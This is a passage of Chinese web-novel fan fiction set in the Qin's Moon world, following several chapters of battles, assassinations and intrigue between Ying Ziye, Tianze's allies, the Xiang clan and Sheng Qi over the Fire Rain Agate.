焰灵姬赤足踏过满地冰碴,每走一步脚下就绽开一朵火莲。
她歪着头打量天泽,红瞳里跳动着危险的光芒。
“这么多年过去,你还是这副令人作呕的样子。”
突然旋身甩出七枚火羽,在空中化作凤凰形态扑下。
“不知好歹。”
天泽眼中幽光大盛,锁链上的鳞片全部竖起!
洞穴瞬间被黑雾充斥,火凤凰哀鸣着被撕成碎片。
一道锁链毒蛇般缠住焰灵姬脚踝,将她狠狠掼在岩壁上。
碎石簌簌落下。
焰灵姬抹去嘴角血迹,却笑得愈发妖艳。
“就这点本事?当年你可是……”
话音未落,天泽突然出现在她面前,手掌扼住她咽喉按进岩壁!
石壁以她为中心龟裂出蛛网般的裂痕,缝隙里渗出诡异的绿雾。
“玩够了吗?”
天泽的吐息带着腥气。
“别忘了是谁把你从这永冻咒里挖出来。”
焰灵姬瞳孔骤缩,周身火焰突然暴涨!!
天泽被迫松手后撤,看着她在火中重塑身形。
红发如瀑飞扬,她踩着虚空而立,脚下凝结出火晶阶梯。
“真没意思,这么多年过去,打架还是这么粗暴。”
百毒王在阴影中阴笑。
“主上若真下**,你这会儿。”
“闭嘴!”
焰灵姬随手弹出一缕火苗,烧得百毒王连连后退!
“我和你家主子说话,轮得到你插嘴?”
她突然收起所有火焰,慵懒地倚在石笋上。
“直说吧,费这么大劲救我,想要什么?”
天泽的锁链缓缓收回袖中,鳞片摩擦声令人牙酸。
“火雨玛瑙。”
洞穴突然安静得可怕。
焰灵姬指尖的火苗凝固了一瞬,又恢复跳动。
“原来如此。”
她轻笑着把玩发梢,“难怪肯把我这个‘叛徒’放出来。”
驱尸魔的骨杖重重顿地。
“主上问你话!”
“急什么?”
焰灵姬红瞳突然转向天泽,眸光如刀。
“我要是不答应呢?”
天泽缓缓抬起右手,掌心浮现一枚冰晶。
晶体内封着一缕跳动的火焰。
正是焰灵姬的本命真火!
“那就回去继续睡。”
冰晶在他掌中咯吱作响。
“这次,睡到沧海桑田!!!”
火苗在焰灵姬眸中剧烈摇晃。
她突然大笑起来,笑声震得洞顶钟乳石纷纷断裂。
“好!我帮你找!”
赤足重重踏下,满地碎冰瞬间汽化。
“不过……”
她凑近天泽,红唇几乎贴上他耳廓。
“你确定拿到火雨玛瑙后,控制得了它?”
锁链突然暴起将她逼退!
天泽黑袍无风自动:“这不是你该操心的事。”
他转身走向洞口,阴影中无数毒蛇昂首嘶鸣。
“旬日后,我要看到结果,否则……”
回头一瞥,眼中幽光如鬼火跳动。
“你知道后果。”
焰灵姬望着他离去的背影,指尖无意识摩挲着锁骨处的火焰纹身。
那里隐约能看到半块玛瑙形状的疤痕。
……
会稽城外,暮色如血。
龙且的白袍在风中猎猎作响,银甲映着残阳泛起冷光。
英布扛着双斧,独眼中闪烁着阴冷的光芒。
两人站在那座挂着“楚”字大旗的府邸前,门前守卫早已被放倒,鲜血顺着石阶缓缓流淌!
“项氏一族,龙且、英布,奉少主之命前来拜会。”
龙且声音清朗,却带着不容置疑的压迫感。
“还请昌平君后人现身一见!!”
府内一片死寂。
英布冷笑一声,斧刃轻轻划过朱漆大门,木屑纷飞:“怎么,打着王室的旗号招摇撞骗,现在不敢见人了?”
“轰——!”
厚重的府门突然炸裂!
木屑如箭矢般四射,龙且银枪横扫,荡开飞溅的碎片。
烟尘中,一道魁梧如山的身影缓缓浮现,肩扛的巨阙剑在暮色中泛着暗红血光。
“胆子不小……”
简短的四个字,却如同闷雷炸响。
英布瞳孔骤缩,双斧瞬间交叉在胸前:“是你这杂碎!”
胜七古铜色的脸庞上疤痕扭曲,咧开嘴露出森白牙齿!
“我道是谁,原来是项家的小崽子们……”
“怎么跑老子这来拜了,迷路了?”
巨阙剑缓缓抬起,剑尖指向两人:“不过你们搞错了,这里…是老子的地盘。”
龙且银枪一抖,枪缨如雪绽放!
“放肆!敢冒充楚国王室,你可知这是诛九族的大罪!!!”
“王室?”
胜七突然狂笑起来,笑声震得屋檐瓦片簌簌掉落,“那些个老东西的骨头早都化成灰了!”
巨阙剑猛然劈下,地面应声裂开一道丈余长的沟壑!
“但这座城,从今天起跟老子姓!”
英布再按捺不住,双斧如旋风般斩出:“找死!!!”
“铛——!”
金铁交鸣之声响彻长街。
胜七单手持巨阙格挡,火星迸溅中竟将英布震退三步!
龙且银枪如龙,直取胜七咽喉,却被巨阙一个横扫逼退。
“就这点本事?”
胜七狞笑着扯开衣襟,露出胸膛上狰狞的剑伤,
“项燕当年可比你们强多了!”
这句话彻底点燃战火!
英布独眼充血,双斧舞成血色旋风:“就你也配提老将军名讳!”
斧刃劈在巨阙上,火花照亮了他扭曲的面容。
胜七狂吼一声,肌肉如岩石般隆起。
巨阙带着开山之势重重劈下,英布格挡的双斧竟被压得陷入肩甲!
龙且银枪突刺,枪尖在胜七后背划出血痕,却被
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他反手一剑扫飞!
“轰!”
龙且撞断街边石狮,银甲碎片四溅。
他抹去嘴角血迹,眼中战意更盛:“英布,你的雷豹营呢?!”
数十名精锐从暗处涌出,**箭如雨射向胜七!!!
巨阙剑舞成铜墙铁壁,箭矢纷纷折断。
胜七突然暴起,如蛮牛般冲入军阵,所过之处残肢横飞!
“废物!”
英布趁机跃上屋檐,双斧交叉劈下。
胜七举剑相迎,脚下青砖尽碎!
两人角力间,英布突然阴笑:“你上当了。”
屋檐突然坍塌!
埋伏的腾龙骑抛出铁索,瞬间缠住胜七四肢。
龙且银枪如电,直刺胜七心窝!
“噗嗤!”
枪尖入肉三寸,却被胜七猛然收缩的肌肉卡住。
这巨汉狂笑着挣断铁索,巨阙横扫千军!!!
龙且急退仍被剑气划破胸甲,鲜血顿时染红白袍。
“项家就教出你们这种偷袭的杂种?”胜七舔着嘴角血迹,巨阙指向两人。
“一起上吧!”
英布吐出口中血沫,独眼凶光毕露:“呸!杀你,我一人足矣!”
双斧突然脱手飞出,如轮锯般旋转斩向胜七脖颈!
胜七巨阙格挡,却不料斧柄暗藏机关,突然**出十二枚淬毒短刃!
他急退间仍被三枚划破脸颊,黑血顿时顺着伤痕流淌。
“毒?”
胜七摸了摸伤口,突然狂笑,“老子在噬牙狱尝过的毒,比你们喝过的水都多!”
巨阙猛然插入地面,整条长街为之震颤!
裂缝中突然刺出无数地刺,数名雷豹营士兵当场被贯穿!
龙且银枪舞成光幕,护着英布急退:“撤!这疯子…”
“想走?”
胜七拔起巨阙,如魔神般踏碎地面前冲,“留下脑袋!!!”
千钧一发之际,街角突然射来一道乌光!
胜七巨阙横挡,竟被震退半步!
定睛看去,那是一支刻着项氏族徽的黑羽箭,箭尾还在微微颤动。
远处高坡上,一支部队矗立在暮色中,盾甲如野兽般闪烁。
胜七咧开嘴角,肩上巨阙映着火光如血染!
他望着城外接连亮起的火把长龙,独眼中燃烧着狂热的战意:“项家的小崽子们,来啊!”
吼声惊起满城飞鸟,“让老子杀个痛快!”
话音一落,城门方向传来轰隆隆的巨响!
鼓声震天,铁甲齐鸣!
吴旷披着黑铁重甲,手执寒蝉,率领数百精锐步卒缓缓列阵而出。
他们脚步如雷,盔甲在火光中反射出森冷寒芒,仿佛一堵钢铁之墙!
“守城!”
吴旷一声断喝,长戟齐举,戟锋在空中汇成一片寒光!
城门轰然关闭!
厚重的铁闩落下,沉闷声响震得地面都在颤抖!!
胜七站在高处,冷笑着俯瞰两边:“一边是项家的豺狼,一边是我农家的虎豹。”
他肩上巨阙轻轻一抖,火光映照下血芒暴涨。
“今夜,就在会稽城爽个痛快!”
吴旷抬剑直指城外火把长龙,目光森冷,回声涤荡。
“敢来犯城者,杀无赦!!!”
城头与城外,两股杀气隔空对撞,夜色仿佛被鲜血点燃!
第187章 我家主上,请二位赴死!
沛县郊外。
临时医馆内,药香混合着血腥气弥漫在空气中。
端木蓉的银针在烛光下闪着寒光,精准地刺入一名老者的穴位。
吕雉端着药碗穿梭在病榻间,素白的衣裙上已沾满药渍,却仍掩不住她眼中的坚毅。
“姐姐,这个孩子烧得更厉害了!”
吕素抱着个面色青紫的幼童冲进来,声音里带着哭腔。
端木蓉头也不抬地甩出一卷绷带:“用金针封住膻中穴,再喂半勺雪莲汤。”
烛火摇曳中,吕氏姐妹的身影映在墙壁。
她们本是沛县吕公之女,因城中骤起的瘟疫,族人死伤惨重。
若非赢子夜的人及时驰援,端木蓉冒死救治,恐怕早已葬身疫火。
劫后余生的姐妹俩并未选择离去。
吕雉沉静持重,逐渐能分担端木蓉的医务,稳住病患。
吕素年纪虽小,却肯咬牙学药理,奔走于病榻之间。
自那时起,她们便成为医馆的一分子,在满室**与血腥中,以微弱却坚毅的身影支撑着一线生机。
突然,门外传来急促的马蹄声。
暗河密探单膝跪在一座营帐外,黑袍上还带着夜露。
“主上,楚地急报!”
赢子夜从营帐中走出,玄色衣袍上的金线在烛火下如活物游动。
他接过竹简,指尖划过上面干涸的血迹。
少司命无声地出现在他身侧,紫纱下的眸子映出简上文字。
“项氏与胜七两败俱伤。”
“好。”
赢子夜唇角勾起一抹冷冽的弧度。
“龙且英布现在何处?”
“暗河十二煞正暗中尾随。”
密探低头禀报。
“他们带着残部往芒砀山方向撤退,沿途留下了血迹,看样子是直奔项氏老巢了。”
赢子夜突然将竹简扔进药炉,火焰猛地蹿高!
“传令王离。”
他声音不重,却让整个营区骤然安静!
“三万铁骑预备,见到项氏旗号……”
药炉中的竹简爆出一团火星:“格杀勿论!!!”
端木蓉的银针停在半空。
吕素怀中的孩子突然哭出声来,又被姐姐迅速捂住嘴巴。
少司命指尖轻弹,三片青叶封住门窗,隔绝了内外声响。
“主上。”
赵戈苍从幕后转出,手中重剑轻点地面。
“胜七那边呢?”
赢子夜袖中滑出半块虎符。
“调噬牙狱死士。”
虎符裂开时露出里面血色的“诛”字。
“告诉他们,我要胜七的人头挂在会稽城门上!”
“主上,那这些百姓?”
端木蓉突然开口,银针在指间转出寒光。
“百越的毒还没解完。”
赢子夜转身走向门口,玄色大氅扫过满地药渣。
“你留下。”
他瞥了眼吕氏姐妹。
“这两个丫头,跟着学。”
夜风突然灌入医馆,吹得药炉火苗剧烈摇晃。
密探们如鬼魅般消失在黑暗中,只剩赢子夜冰冷的声音在夜色中回荡。
“旬日之内,我要看到项氏和胜七同时覆灭的消息!”
少司命紫袖轻扬,万千青叶随她掠向夜空。
赢子夜望着芒砀山方向,腰间玉珏突然齐齐泛起血光。
……
会稽城。
夜色如墨,烛火在窗纸上投下两道对坐的身影。
胜七的巨阙横在膝头,剑身残缺不全,青铜上布满裂痕与血迹。
他的头发散乱披垂,额头一道深可见骨的伤口正淌下血水,沿着面颊划出一道狰狞的血痕!
“项氏那群狼崽子不会善罢甘休。”
他摩挲着剑柄上的陈旧血渍,“得先下手为强!”
吴旷的寒蝉在身边静置,寒光细密:“那二将损失惨重,一个重伤,一个更是断了数根肋骨。”
“现在正是——”
“斩草除根的好时机!”
话音刚落!
屋梁上传来细微的咯吱声。
胜七何等警惕,猛然抬头,巨阙带起狂风劈向房梁!
“滚出来!”
木屑纷飞中,三道黑影如蝙蝠般散开,铁面具下的眼睛泛着冷光!!
“我家主上……”
为首者声音嘶哑如锈铁摩擦!
“请二位赴死。”
刹那!
淬毒的**箭如暴雨倾泻,瞬间将殿中护卫钉成刺猬。
吴旷剑光如练,斩落迎面而来的箭矢,却见一支黑羽箭已穿透他左肩!
“噬牙狱的毒?一群狗崽子!”
胜七狂吼一声,巨阙横扫千军。
剑气所过之处,三人合抱的殿柱轰然断裂!
朱漆和鎏金碎片伴着灰尘炸裂开来,重重砸落在青石地面,激起震耳欲聋的轰鸣。
原本藏身在柱后的**连惨叫都来不及发出,就被剑气斩成两截,血溅在墙壁和丹青彩画之上,将飞天壁画染得诡异狰狞!
紧接着,阴影中传来铁链拖曳的声响。
十二名噬牙狱死士踏着同伴的尸骸走出,玄铁面具下的眼睛泛着死气。
为首者甩出勾魂链,声音像是砂纸摩擦。
“奉公子令,取尔等首级。”
吴旷突然瞳孔骤缩!
更多的黑影从殿内四面八方涌来,黑袍上绣着血色鸦羽!!
“暗河!”
他嘶声警告。
“是赢子夜的人!”
胜七的巨阙突然燃起赤红罡气,铁链上的铭文逐一亮起。
“来得好!”
他竟迎着箭雨冲入敌阵,巨剑所过之处血肉横飞!!
一名噬牙狱死士刚举起铁爪,就连人带兵器被劈成两半!
“结阵!”
暗河**突然变换方位,七把弯刀同时锁向胜七咽喉。
巨阙与刀锋相撞的火星照亮了整座殿堂。
昭鞅如鬼魅般从殿顶坠下,双刀划出凄艳的弧光!!
“铛!”
金铁交鸣声震耳欲聋。
胜七连退三步,巨阙上赫然多了两道深痕。
昭鞅轻巧落地,双刀交叉在胸前,刀身映出他讥诮的嘴角。
“农家魁隗堂主,不过如此。”
胜七吐出口中血沫,眼中
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燃起滔天战意。
“暗河的杂碎也配用刀?”
他突然暴起,巨阙带着开山之势劈下!!!
昭鞅双刀如蝶舞纷飞,竟在方寸之间连挡十七记重击,火星溅在他苍白的脸上。
吴旷的寒蝉剑突然从侧面刺来!
昭鞅头也不回地反手一刀,刀尖精准抵住剑锋。
“太慢。”
他冷笑一声,另一把刀已抹向吴旷咽喉!
“嗤!”
血线飙射。
吴旷踉跄后退,脖子上赫然出现一道红线。
他不可置信地摸向伤口,指缝间瞬间溢满鲜血。
“大哥……”
话音未落,昭鞅的第二刀已贯穿他心口!
“吴旷!!”
胜七目眦欲裂,巨阙上的铭文全部爆出血光!
狂暴的剑气将方圆丈内的梁柱与石壁尽数斩碎!
雕龙刻凤的巨柱轰然倒塌,碎裂的青砖和瓦片四散而出,火花与尘烟弥漫整个大殿。
三名躲闪不及的暗河**被剑气拦腰斩断。
鲜血洒在金色的地毯和破裂的屏风上,仿佛给昔日的华丽宫殿涂抹上一层地狱般的血色。
昭鞅双刀交叉格挡,仍被震飞数丈。
他抹去嘴角血迹,眼中闪过讶异。
“有点意思。”
突然吹响骨哨,更多黑影从殿外涌入。
胜七的锁链已缠满尸体,巨阙插在地上剧烈震颤。
他单手拎起吴旷的尸身,虎目含泪。
“兄弟,看我给你报仇!”
突然将尸体抛向昭鞅,在对方闪避的刹那,巨阙携着万钧之力横扫!!!
“轰!”
气浪掀翻了三名噬牙狱死士。
昭鞅双刀应声而断,胸前铠甲裂开狰狞的伤口。
胜七正要补上一剑,突然浑身一颤!
七根透骨钉不知何时已没入他后背!
“你…”
胜七摇晃着转身,看到身后蹲着的暗河弓**手。
剧毒瞬间蔓延,他的视线开始模糊。
昭鞅捂着胸口站起,捡起半截断刀。
“放心,我会把你这身硬骨头,一块块拆给公子看。”
胜七突然狂笑起来,铁链上的血痂簌簌掉落。
“就凭你们?”
他猛地咬破舌尖,鲜血喷在巨阙上,剑身顿时燃起血色烈焰!
“哈哈哈哈——”
最后的狂笑声震得瓦砾纷飞!
“杀一个够本!”
昭鞅脸色骤变,急退数丈。
“放箭!”
箭雨笼罩了那片血色战场。
然而,当最后一支羽箭破空而至时,胜七的身影却突然消失。
只留下深深插入地面的断巨阙,和一条被斩断的勾魂链。
昭鞅踢开吴旷的尸身,捡起半截染血的锁链。
暗河**们跪在周围,鸦羽黑袍上沾满血污。
“追。”
他捏碎链环,碎铁从指缝簌簌落下。
“他中了七煞透骨钉,活不过三日。”
殿外,突然惊起飞鸟。
昭鞅咧嘴一笑,露出森白的犬齿:“传讯公子,胜七跑不了。”
第188章 天泽派你来送死的?
与此同时。
黎明前的山岭。
笼罩在铁灰色的雾气中。
王离勒住战马,玄铁面甲下的双眼如鹰隼般锐利。
他身后的百战穿甲兵静默如林,铁甲上凝结的晨露折射出冰冷寒光。
“将军,暗河信号。”
副将低声禀报,指向山巅一闪而逝的鸦羽焰火。
王离的青铜剑缓缓出鞘,剑刃与鞘口的摩擦声惊起了林间宿鸟。
“传令——发!”
“轰!”
山脚下爆出震天动地的巨响!
三十架秦军**车同时发射,燃烧的巨石划破夜空,将项氏营寨的瞭望塔砸成碎片。
火光冲天的刹那,暗河**如鬼魅般从阴影中跃出,弯刀割断了一个个尚在睡梦中的楚军咽喉。
“杀!!”
穿甲兵的怒吼震得山石滚落。
王离一马当先冲上山道,马槊劈开迎面射来的箭矢。
项氏营寨的寨门在战车撞击下轰然倒塌,门后持戈的楚军还未列阵,就被铁骑洪流碾成肉泥!
“秦狗!”
龙且的染血白袍在火光中格外醒目,银枪如蛟龙出海,瞬间挑翻三名秦军。
然而,他身上的伤口直接崩出数条血线,只好挺枪而立,大口喘气……
“腾龙骑何在?!”
回应他的是此起彼伏的楚号。
一批腾龙骑兵从燃烧的营帐中冲出,与穿甲兵撞出惨烈的血浪。
王离冷笑一声,马槊直指龙且。
“他已重伤,取他首级者,赏千金!!!”
混战中,英布的雷豹纹铠甲已染成血色。
他忍着伤势传来的剧痛,双斧劈开一名秦军百夫长的头颅,独眼突然瞥见山道上的异动!
暗河**正顺着岩壁攀援,刀光直指中军大帐!
“少主小心!”
英布声嘶力竭的吼声淹没在喊杀声中。
他发狂般冲向大帐,斧下又添两道亡魂。
而营寨最高处,项羽的重瞳映出漫天火雨。
他单手提起百斤巨鼎砸向冲来的秦军,溅起的碎骨残甲将后续敌兵掀翻一片。
范增的龟甲在案几上疯狂震颤,老军师嘶声喊道。
“四面合围!这是王离的绝户计!”
“来得好!”
项羽的虎头盘龙戟横扫,三名穿甲兵拦腰断成六截。
“正好让这些秦狗见识下楚人的骨气!”
山脚下突然传来连绵不绝的机括声。
第二波**箭暴雨般倾泻,这次箭头上都绑着冒火的油囊!!
营帐接连爆燃,热浪将交战双方都掀得人仰马翻!
王离在亲卫盾阵掩护下稳步推进,马槊每挥一次就有一名楚将殒命。
“项氏小儿!”
王离的吼声穿透战场。
“我爷爷灭楚时,你还在吃奶呢!”
项羽的瞳孔骤然收缩。
他暴喝一声跃下高台,盘龙戟所过之处血肉横飞,硬生生在秦军阵中撕开一道缺口!!!
王离的亲卫队长刚举起铜盾,就连人带盾被劈成两半!
“保护将军!”
穿甲兵如潮水般涌来。
项羽狂笑着旋身再斩,戟刃与王离的马槊相撞,火花照亮了两张杀意沸腾的脸!!
“铛!”
金铁交鸣声震得周围士兵耳鼻溢血。
王离连退七步,虎口崩裂。
项羽正要追击,背后突然传来英布凄厉的惨叫!
暗河手中的刀正从英布后背透体而出!!!
“英布!!”
项羽的重瞳瞬间充血。
要不是他们在会稽与胜七一战受伤,必然不会被这帮杂碎偷袭至此!!!
他转身欲救,却被王离的亲卫用血肉之躯层层阻截。
远处高台上,范增看着逐渐合围的秦军大阵,突然将龟甲狠狠摔碎。
“天亡我楚!!!”
暗河**终于突破了最后防线。
死士们踩着英布的尸体拔出刀刃,刀尖指向项羽!!
“项氏逆贼,我家公子请你赴死!”
朝阳终于刺破云层,将这片修罗场照得纤毫毕现。
漫山遍野的尸骸间,项羽的盘龙戟仍在滴血。
他扯下破碎的战袍,露出精钢般的胸膛!
“想要我项羽的命?”
重瞳中倒映着不断逼近的敌军。
“拿十万秦卒来换!!!”
王离抹去脸上的血污,马槊再次举起。
幸存的穿甲兵重新列阵,箭矢的寒光如繁星般在晨雾中闪烁。
……
沛县。
瘟疫已渐渐稳住。
百姓虽元气大伤,但街头巷尾已能见到炊烟升起,医馆内的哭嚎声也比先前少了许多。
端木蓉带着吕氏姐妹昼夜不息地诊治,终于将疫势遏制住。
赢子夜亲自下令开仓放粮,调集人手清理尸骸,赈济孤老幼童。
在他的统筹下,整个沛县由乱渐治。
此时,政务一件件压到案几之上:
有关于善后医治的奏报,有关于粮草分配的清册,也有关于兵甲调拨的文书。
赢子夜**书房之中,批阅不绝,偶尔抬眼,眼底一抹深邃难测
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。
就在他处理政务与沛县后续诸多事宜之际——
手中的竹简突然滑落!
在案几上发出清脆的声响。
他眉头微蹙,指尖轻轻按住太阳穴。
那股若有若无的幽香不知何时已弥漫整个书房。
烛火摇曳间,案上的墨迹竟如活物般扭曲起来。
“有意思…”
他低笑一声,瞳中闪过一丝锐芒,却任由意识渐渐沉沦。
梦境如潮水般涌来。
咸阳宫的九重台阶在他脚下延伸。
始皇帝亲手为他戴上太子冠冕。
少司命褪去紫纱,温顺地伏在他膝头。
赵高跪在阶下,额头紧贴地面瑟瑟发抖。
每一个画面都美好得令人心醉。
就在他即将触及太子印玺的刹那,腰间玉珏突然发烫!
赢子夜瞳孔骤缩,眼前的幻象如镜面般碎裂!!
“破!”
一声清喝如惊雷炸响。
所有美好幻象烟消云散!
取而代之的是书房真实的景象。
烛火早已熄灭。
月光透过窗棂,映出不知何时已爬上案几的诡异藤蔓。
那些藤蔓顶端竟开着妖异的红花,正不断喷吐着粉色雾气!
“不愧是六公子。”
柔媚的女声从房梁上传来。
“连‘极乐引’都困不住您呢~”
赢子夜头也不抬,指尖金焰暴涨,瞬间将毒藤焚成灰烬!
他缓缓起身,玄色衣袍无风自动。
“百越的耗子,也敢来本公子面前造次?!”
轻笑声如银铃摇曳。
一道窈窕身影从阴影中浮现,红纱裹着雪肤,每走一步都有花瓣凭空绽放。
魅姬眼波流转间,整间书房又开始扭曲。
“何必动怒呢?奴家不过想让公子在美梦中安详…”
寒光乍现!!!
玉簪擦着她脖颈划过,钉入身后梁柱三寸。
赢子夜不知何时已站在她三步之内,手中把玩着另一枚玉簪。
“再动一下幻术,下一簪贯穿的就是你的眉心。”
魅姬红唇微张,终于露出几分惊色!
她抚摸着颈间血痕,指尖沾血轻舔。
“公子好狠的心~”
突然袖中甩出七枚粉晶。
“那便尝尝这个!”
晶石炸裂成雾,无数香艳幻象再度涌来。
赢子夜却冷笑一声,袖中铜钱爆射而出,精准击碎所有晶石。
“雕虫小技。”
他一步踏出,地面青砖寸寸龟裂。
“天泽派你来送死?”
第189章 试探!
“主上可是很惦记公子呢~”
魅姬旋身后退,红纱如蝶翼展开。
“特别是您…呀!”
话未说完突然惨叫,一缕金焰不知何时已缠上她脚踝。
赢子夜五指虚握,金焰顿时暴涨!
“最后问一次,姓名,来历。”
魅姬疼得面容扭曲,却突然娇笑起来。
“百越巫蛊门,魅姬。”
她染血的指尖突然点向自己眉心。
“公子若想知道更多…”
下一刻。
金焰还未熄灭,书房内温度却骤然攀升!!!
空气扭曲间,一道烈焰如红莲绽放。
焰灵姬赤足踏火而出,火红的长发在身后肆意飞扬,映得整间屋子都染上妖异的红光。
“六公子~”
她红唇轻启,声音酥媚入骨,每个音节都仿佛带着火星。
“奴家可是仰慕您许久了呢~”
纤纤玉指划过自己锁骨处的火焰纹身,那纹路竟随着她的呼吸明灭闪烁。
赢子夜负手而立,玄色衣袍在热浪中纹丝不动。
“又来一个…想死么?”
瞳中倒映着跳跃的火焰,却冷得令人心悸。
焰灵姬轻笑一声,足尖轻点,火莲在她脚下次第绽放。
她绕着赢子夜缓步而行,红纱拂过他的肩头,带起一阵灼热的香风。
“何必这么凶呢?”
指尖突然窜出一缕幽蓝火苗,轻轻撩向他的下巴。
“让奴家好好伺候…”
“放肆!”
清冷的怒喝骤然炸响。
数十片青叶如利刃破空而来,将焰灵姬逼退三步!!
只见少司命紫衣翻飞,从檐下飘然而落,面纱无风自动。
她素手一挥,万千青叶在赢子夜周身结成屏障,每一片叶刃都直指焰灵姬咽喉!
“哟~”
焰灵姬红瞳微眯,打量着突然出现的紫衣女子。
“这位妹妹好大的醋劲儿~”
她故意将红纱往下拉了拉,露出雪白的肩头。
“莫非是怕我抢了你的……”
“找死!”
少司命眸中寒光暴涨,三片青叶突然燃起紫焰,破空而去。
焰灵姬旋身避让,发梢仍被削断一缕,在空中燃成灰烬!
赢子夜轻轻按住少司命颤抖的肩头。
“夫人何必动怒。”
指尖金焰一闪,将飘落的发灰焚尽。
“不过是个玩火的戏子。”
焰灵姬闻言,红瞳中的火焰猛地一窜。
“戏子?”
她突然娇笑起来,笑声中整间书房的木质结构开始冒出青烟。
“那让公子看看戏子的本事~”
双手猛地合十,七道火蛇从不同角度扑向二人!
少司命紫袖翻卷,青叶屏障瞬间收拢。
木遇火本应势弱,但这些叶片表面竟覆着一层晶莹的冰霜。
火蛇撞上后发出刺耳的滋滋声。
她左手结印,右手指尖凝聚出一朵冰晶莲花,朝着焰灵姬心口按去。
“呵…”
焰灵姬身形突然虚化,火焰般的红发如活物般缠向少司命手腕。
“妹妹,玩冰的可压不住火~”
赢子夜终于动了!
他一步踏出,地面青砖尽碎!!!
玄色衣袍上的金纹如活物游走,瞬间化作十二条金龙扑向焰灵姬。
后者脸色骤变,身形彻底化作火焰四散,在丈外重新凝聚时,红纱已被烧焦一角。
“不愧是六公子~”
她喘息着抹去唇角血迹,眼中的轻佻终于褪去几分。
“连我的本命真火都能破…”
少司命不给喘息之机,双手交叠胸前,百叶成牢瞬间成型。
每一片青叶都缠绕着紫色电光,将焰灵姬所有退路封死。
她声音冷得掉冰碴。
“狐媚女子,也配近我夫君三尺?”
焰灵姬被困叶牢中,却突然笑得花枝乱颤。
“夫君?”
她指尖轻点红唇,抛给赢子夜一个媚眼。
“公子若喜欢这样的冰美人,为何不试试热情似火的…”
“聒噪。”
赢子夜剑眉微蹙,并指如剑点向叶牢。
金龙顺着他的指引咆哮而出,眼看就要将焰灵姬吞没!
“轰!”
烈焰冲天而起。
焰灵姬身形彻底爆散成无数火蝶,穿透叶牢缝隙四散飞逃。
她的笑声从四面八方传来。
“六公子好狠的心~不过我们很快会再见的…”
声音渐行渐远。
少司命还要追击,被赢子夜轻轻拦住。
他拾起地上残留的一朵火蝶,金焰过处,蝶翼上浮现出模糊的符文。
“不是本体,只是火灵分身。”
“她竟敢…!”
少司命面纱剧烈起伏,脚下青砖不知何时已覆满冰霜。
赢子夜罕见地看到她指尖在微微发抖。
“用那种下作手段。”
赢子夜忽然轻笑,伸手拂去她肩头并不存在的灰尘。
“夫人吃醋的样子,倒是比平日可爱得多。”
少司命紫眸一瞪,万千青叶突然全部转向赢子夜。
却在触及他衣角的瞬间软化,轻轻飘落在地。
她别过脸去,声音闷闷的:“再有下次,我烧光她的头发。”
院外突然传来急促的脚步声。
赢子夜收敛笑意,看向焰灵姬消失的方向,黑瞳中闪过一丝深思。
赵弋苍铁甲铿锵地冲入院落,面具上还带着夜露的湿气:“主上!属下来晚了!立刻派人去追!”
赢子夜抬手打断,指尖摩挲着腰间温热的玉珏:“不必追了。”
他眸色深沉如渊。
“天泽派这两个女人来,不过是想确认一件事。”
少司命紫袖轻拂,将满地灰烬卷入掌心:“火雨玛瑙的下落。”
她声音冷冽,指尖却将灰烬捏得咯吱作响。
“传令。”
赢子夜突然转身,玄色衣袍在月光下划出凌厉弧度。
“十二时辰内!彻查所有关卡记录!”
他指尖金焰一闪,在空中勾勒出少女轮廓。
“重点搜寻十五至二十岁的流民女子。
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”
赵弋苍单膝跪地:“诺!但若遇反抗…”
赢子夜冷笑一声,玉珏突然迸发刺目血光:“非常时期,用非常手段。”
他望向南方浓墨般的夜色。
“既然百越这么想要火雨玛瑙…”
少司命无声地贴近一步,紫纱下的眸子寒光凛冽:“那就让她们永远找不到。”
……
同一时间。
焰灵姬赤足踏过焦黑的土地,每一步都在枯草上留下燃烧的脚印。
她突然停下脚步,红瞳中火光跳动,望向远方隐约的城郭轮廓。
“怎么?感应到了?”
魅姬扭着腰肢凑近,指尖缠绕着粉色的雾气。
“那位六公子的滋味…”
她舔了舔嘴唇。
“若是能吸干他的精气…”
“闭嘴。”
焰灵姬突然甩手,一道火鞭抽在魅姬脚边,烧得泥土滋滋作响。
“满脑子龌龊念头,难怪你的‘极乐引’连他三息都困不住。”
魅姬脸色一僵,随即又娇笑起来:“姐姐这是嫉妒了?”
她故意拉长声调。
“莫非看上那位俊俏公子了?”
焰灵姬猛地转身,红发如烈焰暴涨!
魅姬仓皇后退,还是被热浪灼伤了手臂!
“再废话,我就让你尝尝焚心火的滋味。”
焰灵姬指尖跳动着幽蓝火焰,声音冷得像冰。
“天泽要的是火雨玛瑙,不是你的痴心妄想。”
魅姬捂着烧伤的手臂,眼中闪过一丝怨毒,却不敢再出声。
焰灵姬闭目凝神,锁骨处的火焰纹身突然明亮起来。
她深吸一口气,仿佛在捕捉风中某种微妙的气息。
“在那边。”
她突然睁眼,红瞳锁定了东北方向。
“在砀郡方向,有火雨玛瑙的波动。”
魅姬眼睛一亮:“那还等什么?我们…”
“蠢货!”
焰灵姬厉声打断。
“你以为这一晚过后,那赢子夜会无动于衷?”
她红瞳中火光闪烁。
“方才那紫衣女子的实力你也看到了,更何况…”
她下意识摸了摸被金龙灼伤的衣角,声音低沉下来。
“那位六公子,比传闻中更危险。”
魅姬不甘心地绞着衣袖:“难道就这么算了?”
焰灵姬突然冷笑,指尖火焰化作一只小巧的火蝶:“传讯给天泽,就说…”
火蝶振翅飞向夜空。
“猎物已经找到,但需要更多‘诱饵’。”
她转身望向城池方向,红唇勾起一抹危险的弧度。
“至于那位六公子…”
火焰从她脚下升腾,将身影渐渐吞没。
“下次见面,我会让他见识真正的火魅之术。”
魅姬望着焰灵姬消失的方向,突然阴笑起来。
她指尖凝聚出一缕粉色雾气,轻轻一吹。
“那就看看…谁先得手…”
雾气中隐约浮现赢子夜的轮廓,随即被一阵风吹散。
夜色中,只余下魅姬贪婪的低语在风中飘荡。
第190章 他日推翻暴秦,你做王,我封公!
砀县。
昏暗的柴房里,少女蜷缩在角落,指尖轻轻摩挲着胸前的火雨玛瑙。
玛瑙在月光下泛着诡异的红光,映照出她憔悴的脸庞。
“阿爹说过…这是护身符…”
她喃喃自语,声音轻得几乎听不见。
门外突然传来脚步声,她慌忙将玛瑙塞回衣襟。
老鸨尖利的声音穿透门板:“死丫头!还不去前院帮忙!”
“就来…”
她低声应着,手指无意识地攥紧了衣角。
水盆里的水冰冷刺骨,她机械地搓洗着堆积如山的绸缎。
玛瑙在胸前发烫,仿佛在提醒着什么。
“都是因为它…”
她咬着嘴唇,直到尝到血腥味。
记忆中火光冲天的夜晚又浮现在眼前。
